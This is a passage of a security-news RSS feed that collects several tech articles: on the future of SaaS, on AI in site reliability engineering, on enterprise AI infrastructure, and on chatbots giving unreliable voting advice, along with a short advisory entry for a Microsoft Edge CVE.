<p class="wp-block-paragraph">Here’s the part most analyses miss: it’s not just that AI makes development faster. It’s that agents change the integration model entirely. For 30 years, enterprise software was built for humans navigating UIs. Agentic systems don’t use UIs. They call <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a>, read from multiple sources simultaneously, and move data freely across systems. The switching costs that once made incumbent software sticky are collapsing, because an agent doesn’t care which UI it used last quarter.</p>



<h2 class="wp-block-heading">The SaaS that survives</h2>



<p class="wp-block-paragraph">The question isn’t whether SaaS survives. It’s which SaaS survives.</p>



<p class="wp-block-paragraph">The companies with durable positions are not the ones with the cleanest interface. They’re the ones that transfer operational risk customers genuinely cannot absorb themselves. Compliance. Regulatory certification. Accumulated domain expertise. Liability.</p>



<p class="wp-block-paragraph">Think about compliant invoicing across 140 countries. That’s not a workflow someone builds in a sprint. The certifications alone take years. A single regulatory change in one jurisdiction can break an AP process for a global enterprise overnight. Customers don’t pay for that capability because it’s technically complex. They pay because they cannot afford to own the risk of getting it wrong.</p>



<p class="wp-block-paragraph">That’s the distinction that matters: AI lowers the cost of building software. It does not lower the cost of absorbing risk. The vendors who understand this are building durable businesses. The ones who don’t are quietly subsidizing their customers’ internal build programs.</p>



<p class="wp-block-paragraph">Software sells features. Platforms sell accountability.</p>



<h2 class="wp-block-heading">The prototype trap</h2>



<p class="wp-block-paragraph">The danger for enterprise buyers right now is overcorrection. Every successful prototype looks like a cost-saving opportunity. Very few survive the jump to production.</p>



<p class="wp-block-paragraph">Building a workflow with <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> is becoming straightforward. Maintaining it is not. Models evolve. Outputs drift. Governance requirements tighten. What worked cleanly in a controlled environment behaves differently at scale, and the failure mode is worse than traditional software. Rule-based automation, when it fails, fails obviously. Agents fail silently, confidently, at scale, often with a completely reasonable-sounding explanation.</p>



<p class="wp-block-paragraph">Engineering teams that take on AI-powered systems need to solve for observability, model drift, access controls, audit trails, and long-term maintenance ownership. In regulated industries, they need to demonstrate exactly how the system reached every decision. That’s not a weekend project. That’s an ongoing operational commitment that compounds over time as models change and regulatory requirements evolve.</p>



<p class="wp-block-paragraph">Before a team decides to replace an external platform with internal AI tooling, the honest question isn’t, “Can we build this?” The real question is, “Are we prepared to own this in production, for years, as the underlying models change beneath us?” Sometimes the answer is yes. Often the answer is no, and the true cost only becomes visible after the vendor contract is canceled.</p>



<h2 class="wp-block-heading">Build vs. partner: a sharper frame</h2>



<p class="wp-block-paragraph">The build vs. buy framing has always been too binary. The right question is build vs. partner.</p>



<p class="wp-block-paragraph">Partner for the capabilities where risk transfer, regulatory complexity, and domain expertise create genuine value your team cannot replicate. Build for the capabilities that actually differentiate your business from your competitors. Don’t burn your best engineers rebuilding compliant invoice processing or production-grade document extraction. Those aren’t competitive advantages. They’re table stakes, and someone else has already paid the cost, across decades, to make them reliable.</p>



<p class="wp-block-paragraph">The organizations getting this right are honest about where they create unique value. They focus development there, and partner for everything else. The ones getting it wrong are vibe-coding solutions to non-differentiating problems while their actual competitive moat goes unattended.</p>



<h2 class="wp-block-heading">The true value of software</h2>



<p class="wp-block-paragraph">We’re not watching the death of SaaS. We’re watching the end of the friction-based value proposition: the idea that software is worth renewing because integration used to be painful. That rationale is largely gone.</p>



<p class="wp-block-paragraph">What survives is software that does something customers cannot reasonably replicate internally: absorb risk, maintain regulatory compliance, deliver operational reliability at scale, and bring genuine domain expertise into a production-grade system that someone else already stress-tested for years.</p>



<p class="wp-block-paragraph">The vendors who recognize this are already repositioning around accountability, governance, and outcomes. The ones who haven’t will find the next renewal conversation noticeably harder.</p>



<p class="wp-block-paragraph">Software sells features. Platforms sell accountability. That distinction is about to separate a lot of winners from a lot of cautionary tales.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Election voting advice from AI chatbots ‘inaccurate and unreliable’]]></title>
<description><![CDATA[Research during Hungary election shows AI recommended parties not running and gave highly volatile answers to identical promptsAI chatbots provide inaccurate, inconsistent and unreliable guidance to voters asking which party they should back, a study suggests, often recommending the wrong party, ...]]></description>
<link>https://tsecurity.de/de/3682716/ai-nachrichten/election-voting-advice-from-ai-chatbots-inaccurate-and-unreliable/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682716/ai-nachrichten/election-voting-advice-from-ai-chatbots-inaccurate-and-unreliable/</guid>
<pubDate>Tue, 21 Jul 2026 07:20:02 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Research during Hungary election shows AI recommended parties not running and gave highly volatile answers to identical prompts</p><p>AI chatbots provide inaccurate, inconsistent and unreliable guidance to voters asking which party they should back, a study suggests, often recommending the wrong party, not mentioning the right one, or listing parties not even running.</p><p>“The results raise serious concerns about the reliability of general-purpose AI systems in electoral contexts,”<a href="https://www.liberties.eu/f/uz6rz9"> the study</a>, published by the civil liberties group Liberties and based on research during this year’s Hungarian parliamentary elections, concluded.</p> <a href="https://www.theguardian.com/technology/2026/jul/21/election-voting-advice-ai-chatbots-inaccurate-unreliable-hungary">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-38083 | Microsoft Edge up to 124.0.2478.109 on iOS/Android ui wrong action (EUVD-2024-37171)]]></title>
<description><![CDATA[A vulnerability described as problematic has been identified in Microsoft Edge on iOS/Android. The impacted element is an unknown function. Executing a manipulation can lead to the ui performs the wrong action.

This vulnerability is tracked as CVE-2024-38083. The attack can be launched remotely....]]></description>
<link>https://tsecurity.de/de/3682474/sicherheitsluecken/cve-2024-38083-microsoft-edge-up-to-12402478109-on-iosandroid-ui-wrong-action-euvd-2024-37171/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682474/sicherheitsluecken/cve-2024-38083-microsoft-edge-up-to-12402478109-on-iosandroid-ui-wrong-action-euvd-2024-37171/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:33 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">problematic</a> has been identified in <a href="https://vuldb.com/product/microsoft:edge">Microsoft Edge</a> on iOS/Android. The impacted element is an unknown function. Executing a manipulation can lead to the ui performs the wrong action.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2024-38083">CVE-2024-38083</a>. The attack can be launched remotely. No exploit exists.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]></title>
<description><![CDATA[Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consen...]]></description>
